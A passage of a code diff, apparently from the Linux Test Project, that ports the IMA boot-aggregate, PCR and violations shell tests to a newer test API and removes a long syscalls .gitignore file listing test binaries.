-# Author:       Mimi Zohar, zohar@ibm.vnet.ibm.com
-#
-# Return        - zero on success
-#               - non zero on failure. return value from commands ($RC)
-################################################################################
-export TST_TOTAL=3
-export TCID="ima_tpm"
+TST_CNT=2
+TST_NEEDS_CMDS="awk cut ima_boot_aggregate"
 
-init()
+. ima_setup.sh
+
+test1()
 {
-	tst_check_cmds ima_boot_aggregate ima_measure
-}
+	tst_res TINFO "verify boot aggregate"
 
-# Function:     test01
-# Description   - Verify boot aggregate value is correct
-test01()
-{
-	zero="0000000000000000000000000000000000000000"
+	local zero="0000000000000000000000000000000000000000"
+	local tpm_bios="$SECURITYFS/tpm0/binary_bios_measurements"
+	local ima_measurements="$ASCII_MEASUREMENTS"
+	local boot_aggregate boot_hash line
 
 	# IMA boot aggregate
-	ima_measurements=$SECURITYFS/ima/ascii_runtime_measurements
 	read line < $ima_measurements
-	ima_aggr=$(expr substr "${line}" 49 40)
+	boot_hash=$(echo $line | awk '{print $(NF-1)}' | cut -d':' -f2)
 
-	# verify TPM is available and enabled.
-	tpm_bios=$SECURITYFS/tpm0/binary_bios_measurements
 	if [ ! -f "$tpm_bios" ]; then
-		tst_brkm TCONF "TPM not builtin kernel, or TPM not enabled"
+		tst_res TINFO "TPM Hardware Support not enabled in kernel or no TPM chip found"
 
-		if [ "${ima_aggr}" = "${zero}" ]; then
-			tst_resm TPASS "bios boot aggregate is 0."
+		if [ "${boot_hash}" = "${zero}" ]; then
+			tst_res TPASS "bios boot aggregate is 0"
 		else
-			tst_resm TFAIL "bios boot aggregate is not 0."
+			tst_res TFAIL "bios boot aggregate is not 0"
 		fi
 	else
-		boot_aggregate=$(ima_boot_aggregate $tpm_bios)
-		boot_aggr=$(expr substr $boot_aggregate 16 40)
-		if [ "x${ima_aggr}" = "x${boot_aggr}" ]; then
-			tst_resm TPASS "bios aggregate matches IMA boot aggregate."
+		boot_aggregate=$(ima_boot_aggregate $tpm_bios | grep "boot_aggregate:" | cut -d':' -f2)
+		if [ "${boot_hash}" = "${boot_aggregate}" ]; then
+			tst_res TPASS "bios aggregate matches IMA boot aggregate"
 		else
-			tst_resm TFAIL "bios aggregate does not match IMA boot aggregate."
+			tst_res TFAIL "bios aggregate does not match IMA boot aggregate"
 		fi
 	fi
 }
@@ -74,64 +60,53 @@
 # the PCR values from /sys/devices.
 validate_pcr()
 {
-	ima_measurements=$SECURITYFS/ima/binary_runtime_measurements
-	aggregate_pcr=$(ima_measure $ima_measurements --validate)
-	dev_pcrs=$1
-	RC=0
+	tst_res TINFO "verify PCR (Process Control Register)"
 
-	while read line ; do
-		pcr=$(expr substr "${line}" 1 6)
+	local dev_pcrs="$1"
+	local pcr hash aggregate_pcr
+
+	aggregate_pcr="$(evmctl -v ima_measurement $BINARY_MEASUREMENTS 2>&1 | \
+		grep 'HW PCR-10:' | awk '{print $3}')"
+	if [ -z "$aggregate_pcr" ]; then
+		tst_res TFAIL "failed to get PCR-10"
+		return 1
+	fi
+
+	while read line; do
+		pcr="$(echo $line | cut -d':' -f1)"
 		if [ "${pcr}" = "PCR-10" ]; then
-			aggr=$(expr substr "${aggregate_pcr}" 26 59)
-			pcr=$(expr substr "${line}" 9 59)
-			[ "${pcr}" = "${aggr}" ] || RC=$?
+			hash="$(echo $line | cut -d':' -f2 | awk '{ gsub (" ", "", $0); print tolower($0) }')"
+			[ "${hash}" = "${aggregate_pcr}" ]
+			return $?
 		fi
 	done < $dev_pcrs
-	return $RC
+	return 1
 }
 
-# Function:     test02
-# Description	- Verify ima calculated aggregate PCR values matches
-#		  actual PCR value.
-test02()
+test2()
 {
+	tst_res TINFO "verify PCR values"
+	tst_check_cmds evmctl
 
-	# Would be nice to know where the PCRs are located.  Is this safe?
-	PCRS_PATH=$(find /$SYSFS/devices/ | grep pcrs)
-	if [ $? -eq 0 ]; then
-		validate_pcr $PCRS_PATH
+	tst_res TINFO "evmctl version: $(evmctl --version)"
+
+	local pcrs_path="/sys/class/tpm/tpm0/device/pcrs"
+	if [ -f "$pcrs_path" ]; then
+		tst_res TINFO "new PCRS path, evmctl >= 1.1 required"
+	else
+		pcrs_path="/sys/class/misc/tpm0/device/pcrs"
+	fi
+
+	if [ -f "$pcrs_path" ]; then
+		validate_pcr $pcrs_path
 		if [ $? -eq 0 ]; then
-			tst_resm TPASS "aggregate PCR value matches real PCR value."
+			tst_res TPASS "aggregate PCR value matches real PCR value"
 		else
-			tst_resm TFAIL "aggregate PCR value does not match real PCR value."
+			tst_res TFAIL "aggregate PCR value does not match real PCR value"
 		fi
 	else
-		tst_resm TFAIL "TPM not enabled, no PCR value to validate"
+		tst_res TCONF "TPM Hardware Support not enabled in kernel or no TPM chip found"
 	fi
 }
 
-# Function:     test03
-# Description 	- Verify template hash value for IMA entry is correct.
-test03()
-{
-
-	ima_measurements=$SECURITYFS/ima/binary_runtime_measurements
-	aggregate_pcr=$(ima_measure $ima_measurements --verify --validate) > /dev/null
-	if [ $? -eq 0 ]; then
-		tst_resm TPASS "verified IMA template hash values."
-	else
-		tst_resm TFAIL "error verifing IMA template hash values."
-	fi
-}
-
-. ima_setup.sh
-
-setup
-TST_CLEANUP=cleanup
-
-init
-test01
-test02
-test03
-
-tst_exit
+tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
index 1b86b5f..f3f40d4 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_violations.sh
@@ -1,44 +1,48 @@
 #!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (C) 2009 IBM Corporation                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
+# Copyright (c) 2009 IBM Corporation
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
-# File :        ima_violations.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-# Description:  This file tests ToMToU and open_writer violations invalidate
-#		the PCR and are logged.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:       Mimi Zohar, zohar@ibm.vnet.ibm.com
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
-# Return        - zero on success
-#               - non zero on failure. return value from commands ($RC)
-################################################################################
+# Author: Mimi Zohar, zohar@ibm.vnet.ibm.com
+#
+# Test whether ToMToU and open_writer violations invalidatethe PCR and are logged.
 
-export TST_TOTAL=3
-export TCID="ima_violations"
+TST_SETUP="setup"
+TST_CNT=3
+TST_NEEDS_DEVICE=1
+
+. ima_setup.sh
+. daemonlib.sh
+
+setup()
+{
+	FILE="test.txt"
+	IMA_VIOLATIONS="$SECURITYFS/ima/violations"
+	LOG="/var/log/messages"
+
+	if status_daemon auditd; then
+		LOG="/var/log/audit/audit.log"
+	fi
+	[ -f "$LOG" ] || \
+		tst_brk TBROK "log $LOG does not exist (bug in detection?)"
+	tst_res TINFO "using log $LOG"
+}
 
 open_file_read()
 {
-	exec 3< $1
-	if [ $? -ne 0 ]; then
-		exit 1
-	fi
+	exec 3< $FILE || exit 1
 }
 
 close_file_read()
@@ -48,11 +52,8 @@
 
 open_file_write()
 {
-	exec 4> $1
-	if [ $? -ne 0 ]; then
-		exit 1
-	echo 'testing, testing, ' >&4
-	fi
+	exec 4> $FILE || exit 1
+	echo 'test writing' >&4
 }
 
 close_file_write()
@@ -60,103 +61,98 @@
 	exec 4>&-
 }
 
-init()
+get_count()
 {
-	service auditd status > /dev/null 2>&1
-	if [ $? -ne 0 ]; then
-		log=/var/log/messages
-	else
-		log=/var/log/audit/audit.log
-		tst_resm TINFO "requires integrity auditd patch"
-	fi
-
-	ima_violations=$SECURITYFS/ima/violations
+	local search="$1"
+	echo $(grep -c "${search}.*${FILE}" $LOG)
 }
 
-# Function:     test01
-# Description	- Verify open writers violation
-test01()
+validate()
 {
-	read num_violations < $ima_violations
+	local num_violations="$1"
+	local count="$2"
+	local search="$3"
+	local max_attempt=3
+	local count2 i num_violations_new
 
-	TMPFN=test.txt
-	open_file_write $TMPFN
-	open_file_read $TMPFN
+	for i in $(seq 1 $max_attempt); do
+		read num_violations_new < $IMA_VIOLATIONS
+		count2="$(get_count $search)"
+		if [ $(($num_violations_new - $num_violations)) -gt 0 ]; then
+			if [ $count2 -gt $count ]; then
+				tst_res TPASS "$search violation added"
+				return
+			else
+				tst_res TINFO "$search not found in $LOG ($i/$max_attempt attempt)..."
+				tst_sleep 1s
+			fi
+		else
+			tst_res TFAIL "$search violation not added"
+			return
+		fi
+	done
+	tst_res TFAIL "$search not found in $LOG"
+}
+
+test1()
+{
+	tst_res TINFO "verify open writers violation"
+
+	local search="open_writers"
+	local count num_violations
+
+	read num_violations < $IMA_VIOLATIONS
+	count="$(get_count $search)"
+
+	open_file_write
+	open_file_read
 	close_file_read
 	close_file_write
-	read num_violations_new < $ima_violations
-	num=$(($(expr $num_violations_new - $num_violations)))
-	if [ $num -gt 0 ]; then
-		tail $log | grep test.txt | grep -q 'open_writers'
-		if [ $? -eq 0 ]; then
-			tst_resm TPASS "open_writers violation added(test.txt)"
-		else
-			tst_resm TFAIL "(message ratelimiting?)"
-		fi
-	else
-		tst_resm TFAIL "open_writers violation not added(test.txt)"
-	fi
+
+	validate $num_violations $count $search
 }
 
-# Function:     test02
-# Description   - Verify ToMToU violation
-test02()
+test2()
 {
-	read num_violations < $ima_violations
+	tst_res TINFO "verify ToMToU violation"
 
-	TMPFN=test.txt
-	open_file_read $TMPFN
-	open_file_write $TMPFN
+	local search="ToMToU"
+	local count num_violations
+
+	read num_violations < $IMA_VIOLATIONS
+	count="$(get_count $search)"
+
+	open_file_read
+	open_file_write
 	close_file_write
 	close_file_read
-	read num_violations_new < $ima_violations
-	num=$(($(expr $num_violations_new - $num_violations)))
-	if [ $num -gt 0 ]; then
-		tail $log | grep test.txt | grep -q 'ToMToU'
-		if [ $? -eq 0 ]; then
-			tst_resm TPASS "ToMToU violation added(test.txt)"
-		else
-			tst_resm TFAIL "(message ratelimiting?)"
-		fi
-	else
-		tst_resm TFAIL "ToMToU violation not added(test.txt)"
-	fi
+
+	validate $num_violations $count $search
 }
 
-# Function:     test03
-# Description 	- verify open_writers using mmapped files
-test03()
+test3()
 {
-	read num_violations < $ima_violations
+	tst_res TINFO "verify open_writers using mmapped files"
 
-	TMPFN=test.txtb
-	echo 'testing testing ' > $TMPFN
-	ima_mmap $TMPFN & p1=$!
-	sleep 1		# got to wait for ima_mmap to mmap the file
-	open_file_read $TMPFN
-	read num_violations_new < $ima_violations
-	num=$(($(expr $num_violations_new - $num_violations)))
-	if [ $num -gt 0 ]; then
-		tail $log | grep test.txtb | grep -q 'open_writers'
-		if [ $? -eq 0 ]; then
-			tst_resm TPASS "mmapped open_writers violation added(test.txtb)"
-		else
-			tst_resm TFAIL "(message ratelimiting?)"
-		fi
-	else
-		tst_resm TFAIL "mmapped open_writers violation not added(test.txtb)"
-	fi
+	local search="open_writers"
+	local count num_violations
+
+	read num_violations < $IMA_VIOLATIONS
+	count="$(get_count $search)"
+
+	echo 'testing testing' > $FILE
+
+	ima_mmap -f $FILE &
+	# wait for violations appear in logs
+	tst_sleep 1s
+
+	open_file_read
 	close_file_read
+
+	validate $num_violations $count $search
+
+	# wait for ima_mmap to exit, so we can umount
+	tst_sleep 2s
 }
 
-. ima_setup.sh
-
-setup
-TST_CLEANUP=cleanup
-
-init
-test01
-test02
-test03
-
-tst_exit
+tst_run
diff --git a/testcases/kernel/syscalls/.gitignore b/testcases/kernel/syscalls/.gitignore
deleted file mode 100644
index d296276..0000000
--- a/testcases/kernel/syscalls/.gitignore
+++ /dev/null
@@ -1,1145 +0,0 @@
-/abort/abort01
-/accept/accept01
-/accept4/accept4_01
-/access/access01
-/access/access02
-/access/access03
-/access/access04
-/acct/acct01
-/add_key/add_key01
-/add_key/add_key02
-/add_key/add_key03
-/add_key/add_key04
-/adjtimex/adjtimex01
-/adjtimex/adjtimex02
-/alarm/alarm01
-/alarm/alarm02
-/alarm/alarm03
-/alarm/alarm05
-/alarm/alarm06
-/alarm/alarm07
-/asyncio/asyncio02
-/bdflush/bdflush01
-/bind/bind01
-/bind/bind02
-/brk/brk01
-/cacheflush/cacheflush01
-/capget/capget01
-/capget/capget02
-/capset/capset01
-/capset/capset02
-/chdir/chdir01
-/chdir/chdir02
-/chdir/chdir03
-/chdir/chdir04
-/chmod/chmod01
-/chmod/chmod02
-/chmod/chmod03
-/chmod/chmod04
-/chmod/chmod05
-/chmod/chmod06
-/chmod/chmod07
-/chown/chown01
-/chown/chown01_16
-/chown/chown02
-/chown/chown02_16
-/chown/chown03
-/chown/chown03_16
-/chown/chown04
-/chown/chown04_16
-/chown/chown05
-/chown/chown05_16
-/chroot/chroot01
-/chroot/chroot02
-/chroot/chroot03
-/chroot/chroot04
-/clock_getres/clock_getres01
-/clock_nanosleep/clock_nanosleep01
-/clock_nanosleep/clock_nanosleep02
-/clock_nanosleep2/clock_nanosleep2_01
-/clone/clone01
-/clone/clone02
-/clone/clone03
-/clone/clone04
-/clone/clone05
-/clone/clone06
-/clone/clone07
-/clone/clone08
-/clone/clone09
-/close/close01
-/close/close02
-/close/close08
-/cma/process_vm01
-/cma/process_vm_readv02
-/cma/process_vm_readv03
-/cma/process_vm_writev02
-/confstr/confstr01
-/connect/connect01
-/creat/creat01
-/creat/creat03
-/creat/creat04
-/creat/creat05
-/creat/creat06
-/creat/creat07
-/creat/creat08
-/creat/creat07_child
-/dup/dup01
-/dup/dup02
-/dup/dup03
-/dup/dup04
-/dup/dup05
-/dup/dup06
-/dup/dup07
-/dup2/dup201
-/dup2/dup202
-/dup2/dup203
-/dup2/dup204
-/dup2/dup205
-/dup3/dup3_01
-/dup3/dup3_02
-/epoll/epoll-ltp
-/epoll_create1/epoll_create1_01
-/epoll_ctl/epoll_ctl01
-/epoll_ctl/epoll_ctl02
-/epoll_wait/epoll_wait01
-/epoll_wait/epoll_wait02
-/epoll_wait/epoll_wait03
-/epoll_pwait/epoll_pwait01
-/eventfd/eventfd01
-/eventfd2/eventfd2_01
-/eventfd2/eventfd2_02
-/eventfd2/eventfd2_03
-/execl/execl01
-/execl/execl01_child
-/execle/execle01
-/execle/execle01_child
-/execlp/execlp01
-/execlp/execlp01_child
-/execv/execv01
-/execv/execv01_child
-/execve/execve01
-/execve/execve01_child
-/execve/execve02
-/execve/execve03
-/execve/execve04
-/execve/execve_child
-/execve/execve05
-/execvp/execvp01
-/execvp/execvp01_child
-/exit/exit01
-/exit/exit02
-/exit_group/exit_group01
-/f.mbox
-/faccessat/faccessat01
-/fadvise/posix_fadvise01
-/fadvise/posix_fadvise01_64
-/fadvise/posix_fadvise02
-/fadvise/posix_fadvise02_64
-/fadvise/posix_fadvise03
-/fadvise/posix_fadvise03_64
-/fadvise/posix_fadvise04
-/fadvise/posix_fadvise04_64
-/fallocate/fallocate01
-/fallocate/fallocate02
-/fallocate/fallocate03
-/fallocate/fallocate04
-/fallocate/fallocate05
-/fchdir/fchdir01
-/fchdir/fchdir02
-/fchdir/fchdir03
-/fchmod/fchmod01
-/fchmod/fchmod02
-/fchmod/fchmod03
-/fchmod/fchmod04
-/fchmod/fchmod05
-/fchmod/fchmod06
-/fchmod/fchmod07
-/fchmodat/fchmodat01
-/fchown/fchown01
-/fchown/fchown01_16
-/fchown/fchown02
-/fchown/fchown02_16
-/fchown/fchown03
-/fchown/fchown03_16
-/fchown/fchown04
-/fchown/fchown04_16
-/fchown/fchown05
-/fchown/fchown05_16
-/fchownat/fchownat01
-/fchownat/fchownat02
-/fcntl/fcntl01
-/fcntl/fcntl01_64
-/fcntl/fcntl02
-/fcntl/fcntl02_64
-/fcntl/fcntl03
-/fcntl/fcntl03_64
-/fcntl/fcntl04
-/fcntl/fcntl04_64
-/fcntl/fcntl05
-/fcntl/fcntl05_64
-/fcntl/fcntl06
-/fcntl/fcntl06_64
-/fcntl/fcntl07
-/fcntl/fcntl07_64
-/fcntl/fcntl08
-/fcntl/fcntl08_64
-/fcntl/fcntl09
-/fcntl/fcntl09_64
-/fcntl/fcntl10
-/fcntl/fcntl10_64
-/fcntl/fcntl11
-/fcntl/fcntl11_64
-/fcntl/fcntl12
-/fcntl/fcntl12_64
-/fcntl/fcntl13
-/fcntl/fcntl13_64
-/fcntl/fcntl14
-/fcntl/fcntl14_64
-/fcntl/fcntl15
-/fcntl/fcntl15_64
-/fcntl/fcntl16
-/fcntl/fcntl16_64
-/fcntl/fcntl17
-/fcntl/fcntl17_64
-/fcntl/fcntl18
-/fcntl/fcntl18_64
-/fcntl/fcntl19
-/fcntl/fcntl19_64
-/fcntl/fcntl20
-/fcntl/fcntl20_64
-/fcntl/fcntl21
-/fcntl/fcntl21_64
-/fcntl/fcntl22
-/fcntl/fcntl22_64
-/fcntl/fcntl23
-/fcntl/fcntl23_64
-/fcntl/fcntl24
-/fcntl/fcntl24_64
-/fcntl/fcntl25
-/fcntl/fcntl25_64
-/fcntl/fcntl26
-/fcntl/fcntl26_64
-/fcntl/fcntl27
-/fcntl/fcntl27_64
-/fcntl/fcntl28
-/fcntl/fcntl28_64
-/fcntl/fcntl29
-/fcntl/fcntl29_64
-/fcntl/fcntl30
-/fcntl/fcntl30_64
-/fcntl/fcntl31
-/fcntl/fcntl31_64
-/fcntl/fcntl32
-/fcntl/fcntl32_64
-/fcntl/fcntl33
-/fcntl/fcntl33_64
-/fcntl/fcntl34
-/fcntl/fcntl34_64
-/fcntl/fcntl35
-/fcntl/fcntl35_64
-/fcntl/fcntl36
-/fcntl/fcntl36_64
-/fdatasync/fdatasync01
-/fdatasync/fdatasync02
-/flistxattr/flistxattr01
-/flistxattr/flistxattr02
-/flistxattr/flistxattr03
-/flock/flock01
-/flock/flock02
-/flock/flock03
-/flock/flock04
-/flock/flock05
-/flock/flock06
-/fmtmsg/fmtmsg01
-/fork/fork01
-/fork/fork02
-/fork/fork03
-/fork/fork04
-/fork/fork05
-/fork/fork06
-/fork/fork07
-/fork/fork08
-/fork/fork09
-/fork/fork10
-/fork/fork11
-/fork/fork12
-/fork/fork13
-/fork/fork14
-/fpathconf/fpathconf01
-/fstat/fstat01
-/fstat/fstat01_64
-/fstat/fstat02
-/fstat/fstat02_64
-/fstat/fstat03
-/fstat/fstat03_64
-/fstat/fstat05
-/fstat/fstat05_64
-/fstatat/fstatat01
-/fstatfs/fstatfs01
-/fstatfs/fstatfs01_64
-/fstatfs/fstatfs02
-/fstatfs/fstatfs02_64
-/fsync/fsync01
-/fsync/fsync02
-/fsync/fsync03
-/ftruncate/ftruncate01
-/ftruncate/ftruncate01_64
-/ftruncate/ftruncate02
-/ftruncate/ftruncate02_64
-/ftruncate/ftruncate03
-/ftruncate/ftruncate03_64
-/ftruncate/ftruncate04
-/ftruncate/ftruncate04_64
-/futimesat/futimesat01
-/get_mempolicy/get_mempolicy01
-/get_robust_list/get_robust_list01
-/getcontext/getcontext01
-/getcpu/getcpu01
-/getcwd/getcwd01
-/getcwd/getcwd02
-/getcwd/getcwd03
-/getcwd/getcwd04
-/getdents/getdents01
-/getdents/getdents01_64
-/getdents/getdents02
-/getdents/getdents02_64
-/getdents/getdents03
-/getdents/getdents03_64
-/getdents/getdents04
-/getdents/getdents04_64
-/getdomainname/getdomainname01
-/getdtablesize/getdtablesize01
-/getegid/getegid01
-/getegid/getegid01_16
-/getegid/getegid02
-/getegid/getegid02_16
-/geteuid/geteuid01
-/geteuid/geteuid01_16
-/geteuid/geteuid02
-/geteuid/geteuid02_16
-/getgid/getgid01
-/getgid/getgid01_16
-/getgid/getgid03
-/getgid/getgid03_16
-/getgroups/getgroups01
-/getgroups/getgroups01_16
-/getgroups/getgroups02
-/getgroups/getgroups02_16
-/getgroups/getgroups03
-/getgroups/getgroups03_16
-/getgroups/getgroups04
-/getgroups/getgroups04_16
-/gethostbyname_r/gethostbyname_r01
-/gethostid/gethostid01
-/gethostname/gethostname01
-/getitimer/getitimer01
-/getitimer/getitimer02
-/getitimer/getitimer03
-/getpagesize/getpagesize01
-/getpeername/getpeername01
-/getpgid/getpgid01
-/getpgid/getpgid02
-/getpgrp/getpgrp01
-/getpid/getpid01
-/getpid/getpid02
-/getppid/getppid01
-/getppid/getppid02
-/getpriority/getpriority01
-/getpriority/getpriority02
-/getrandom/getrandom01
-/getrandom/getrandom02
-/getrandom/getrandom03
-/getrandom/getrandom04
-/getresgid/getresgid01
-/getresgid/getresgid02
-/getresgid/getresgid03
-/getresuid/getresuid01
-/getresuid/getresuid02
-/getresuid/getresuid03
-/getrlimit/getrlimit01
-/getrlimit/getrlimit02
-/getrusage/getrusage01
-/getrusage/getrusage02
-/getrusage/getrusage03
-/getrusage/getrusage03_child
-/getrusage/getrusage04
-/getsid/getsid01
-/getsid/getsid02
-/getsockname/getsockname01
-/getsockopt/getsockopt01
-/getsockopt/getsockopt02
-/gettid/gettid01
-/gettimeofday/gettimeofday01
-/gettimeofday/gettimeofday02
-/getuid/getuid01
-/getuid/getuid01_16
-/getuid/getuid03
-/getuid/getuid03_16
-/getxattr/getxattr01
-/getxattr/getxattr02
-/getxattr/getxattr03
-/getxattr/getxattr04
-/inotify/inotify01
-/inotify/inotify02
-/inotify/inotify03
-/inotify/inotify04
-/inotify/inotify05
-/inotify/inotify06
-/inotify_init/inotify_init1_01
-/inotify_init/inotify_init1_02
-/io_cancel/io_cancel01
-/io_destroy/io_destroy01
-/io_getevents/io_getevents01
-/io_setup/io_setup01
-/io_submit/io_submit01
-/ioctl/ioctl01
-/ioctl/ioctl02
-/ioctl/ioctl03
-/ioctl/ioctl04
-/ioctl/ioctl05
-/ioctl/ioctl06
-/ioctl/ioctl07
-/ioperm/ioperm01
-/ioperm/ioperm02
-/iopl/iopl01
-/iopl/iopl02
-/ipc/msgctl/msgctl01
-/ipc/msgctl/msgctl02
-/ipc/msgctl/msgctl03
-/ipc/msgctl/msgctl04
-/ipc/msgctl/msgctl05
-/ipc/msgctl/msgctl06
-/ipc/msgctl/msgctl07
-/ipc/msgctl/msgctl08
-/ipc/msgctl/msgctl09
-/ipc/msgctl/msgctl10
-/ipc/msgctl/msgctl11
-/ipc/msgctl/msgctl12
-/ipc/msgctl/msgctl13
-/ipc/msgget/msgget01
-/ipc/msgget/msgget02
-/ipc/msgget/msgget03
-/ipc/msgrcv/msgrcv01
-/ipc/msgrcv/msgrcv02
-/ipc/msgrcv/msgrcv03
-/ipc/msgrcv/msgrcv04
-/ipc/msgrcv/msgrcv05
-/ipc/msgrcv/msgrcv06
-/ipc/msgrcv/msgrcv07
-/ipc/msgrcv/msgrcv08
-/ipc/msgsnd/msgsnd01
-/ipc/msgsnd/msgsnd02
-/ipc/msgsnd/msgsnd05
-/ipc/msgsnd/msgsnd06
-/ipc/semctl/semctl01
-/ipc/semctl/semctl02
-/ipc/semctl/semctl03
-/ipc/semctl/semctl04
-/ipc/semctl/semctl05
-/ipc/semctl/semctl06
-/ipc/semctl/semctl07
-/ipc/semget/semget01
-/ipc/semget/semget02
-/ipc/semget/semget03
-/ipc/semget/semget05
-/ipc/semget/semget06
-/ipc/semop/semop01
-/ipc/semop/semop02
-/ipc/semop/semop03
-/ipc/semop/semop04
-/ipc/semop/semop05
-/ipc/shmat/shmat01
-/ipc/shmat/shmat02
-/ipc/shmctl/shmctl01
-/ipc/shmctl/shmctl02
-/ipc/shmctl/shmctl03
-/ipc/shmctl/shmctl04
-/ipc/shmdt/shmdt01
-/ipc/shmdt/shmdt02
-/ipc/shmget/shmget01
-/ipc/shmget/shmget02
-/ipc/shmget/shmget03
-/ipc/shmget/shmget04
-/ipc/shmget/shmget05
-/keyctl/keyctl01
-/keyctl/keyctl02
-/keyctl/keyctl03
-/keyctl/keyctl04
-/keyctl/keyctl05
-/keyctl/keyctl06
-/keyctl/keyctl07
-/keyctl/keyctl08
-/kcmp/kcmp01
-/kcmp/kcmp02
-/kcmp/kcmp03
-/kill/kill01
-/kill/kill02
-/kill/kill03
-/kill/kill04
-/kill/kill05
-/kill/kill06
-/kill/kill07
-/kill/kill08
-/kill/kill09
-/kill/kill10
-/kill/kill11
-/kill/kill12
-/lchown/lchown01
-/lchown/lchown01_16
-/lchown/lchown02
-/lchown/lchown02_16
-/lchown/lchown03
-/lchown/lchown03_16
-/lgetxattr/lgetxattr01
-/lgetxattr/lgetxattr02
-/link/link02
-/link/link03
-/link/link04
-/link/link05
-/link/link06
-/link/link07
-/link/link08
-/linkat/linkat01
-/linkat/linkat02
-/listen/listen01
-/listxattr/listxattr01
-/listxattr/listxattr02
-/listxattr/listxattr03
-/llistxattr/llistxattr01
-/llistxattr/llistxattr02
-/llistxattr/llistxattr03
-/llseek/llseek01
-/llseek/llseek02
-/llseek/llseek03
-/lseek/lseek01
-/lseek/lseek02
-/lseek/lseek07
-/lseek/lseek11
-/lstat/lstat01
-/lstat/lstat01_64
-/lstat/lstat02
-/lstat/lstat02_64
-/lstat/lstat03
-/lstat/lstat03_64
-/madvise/madvise01
-/madvise/madvise02
-/madvise/madvise03
-/madvise/madvise04
-/madvise/madvise05
-/madvise/madvise06
-/madvise/madvise07
-/madvise/madvise08
-/madvise/madvise09
-/mallopt/mallopt01
-/mbind/mbind01
-/memcmp/memcmp01
-/memcpy/memcpy01
-/memmap/mem03
-/memset/memset01
-/migrate_pages/migrate_pages01
-/migrate_pages/migrate_pages02
-/mincore/mincore01
-/mincore/mincore02
-/mkdir/mkdir01
-/mkdir/mkdir02
-/mkdir/mkdir03
-/mkdir/mkdir04
-/mkdir/mkdir05
-/mkdir/mkdir08
-/mkdir/mkdir09
-/mkdirat/mkdirat01
-/mkdirat/mkdirat02
-/mknod/mknod01
-/mknod/mknod02
-/mknod/mknod03
-/mknod/mknod04
-/mknod/mknod05
-/mknod/mknod06
-/mknod/mknod07
-/mknod/mknod08
-/mknod/mknod09
-/mknodat/mknodat01
-/mknodat/mknodat02
-/mlock/mlock01
-/mlock/mlock02
-/mlock/mlock03
-/mlock/mlock04
-/mlockall/mlockall01
-/mlockall/mlockall02
-/mlockall/mlockall03
-/mmap/mmap001
-/mmap/mmap01
-/mmap/mmap02
-/mmap/mmap03
-/mmap/mmap04
-/mmap/mmap05
-/mmap/mmap06
-/mmap/mmap07
-/mmap/mmap08
-/mmap/mmap09
-/mmap/mmap10
-/mmap/mmap11
-/mmap/mmap12
-/mmap/mmap13
-/mmap/mmap14
-/mmap/mmap15
-/mmap/mmap16
-/modify_ldt/modify_ldt01
-/modify_ldt/modify_ldt02
-/modify_ldt/modify_ldt03
-/mount/mount01
-/mount/mount02
-/mount/mount03
-/mount/mount03_setuid_test
-/mount/mount04
-/mount/mount05
-/mount/mount06
-/move_pages/move_pages01
-/move_pages/move_pages02
-/move_pages/move_pages03
-/move_pages/move_pages04
-/move_pages/move_pages05
-/move_pages/move_pages06
-/move_pages/move_pages07
-/move_pages/move_pages08
-/move_pages/move_pages09
-/move_pages/move_pages10
-/move_pages/move_pages11
-/move_pages/move_pages12
-/mprotect/mprotect01
-/mprotect/mprotect02
-/mprotect/mprotect03
-/mprotect/mprotect04
-/mq_notify/mq_notify01
-/mq_notify/mq_notify02
-/mq_open/mq_open01
-/mq_timedreceive/mq_timedreceive01
-/mq_timedsend/mq_timedsend01
-/mq_unlink/mq_unlink01
-/mremap/mremap01
-/mremap/mremap02
-/mremap/mremap03
-/mremap/mremap04
-/mremap/mremap05
-/msync/msync01
-/msync/msync02
-/msync/msync03
-/msync/msync04
-/munlock/munlock01
-/munlock/munlock02
-/munlockall/munlockall01
-/munlockall/munlockall02
-/munmap/munmap01
-/munmap/munmap02
-/munmap/munmap03
-/nanosleep/nanosleep01
-/nanosleep/nanosleep02
-/nanosleep/nanosleep03
-/nanosleep/nanosleep04
-/newuname/newuname01
-/nftw/nftw01
-/nftw/nftw6401
-/nice/nice01
-/nice/nice02
-/nice/nice03
-/nice/nice04
-/open/open01
-/open/open02
-/open/open03
-/open/open04
-/open/open05
-/open/open06
-/open/open07
-/open/open08
-/open/open09
-/open/open10
-/open/open11
-/open/open12
-/open/open12_child
-/open/open13
-/open/open14
-/openat/openat01
-/openat/openat02
-/openat/openat02_child
-/openat/openat03
-/pathconf/pathconf01
-/pause/pause01
-/pause/pause02
-/pause/pause03
-/personality/personality01
-/personality/personality02
-/pipe/pipe01
-/pipe/pipe02
-/pipe/pipe03
-/pipe/pipe04
-/pipe/pipe05
-/pipe/pipe06
-/pipe/pipe07
-/pipe/pipe08
-/pipe/pipe09
-/pipe/pipe10
-/pipe/pipe11
-/pipe2/pipe2_01
-/pipe2/pipe2_02
-/poll/poll01
-/poll/poll02
-/ppoll/ppoll01
-/prctl/prctl01
-/prctl/prctl02
-/pread/pread01
-/pread/pread01_64
-/pread/pread02
-/pread/pread02_64
-/pread/pread03
-/pread/pread03_64
-/preadv/preadv01
-/preadv/preadv01_64
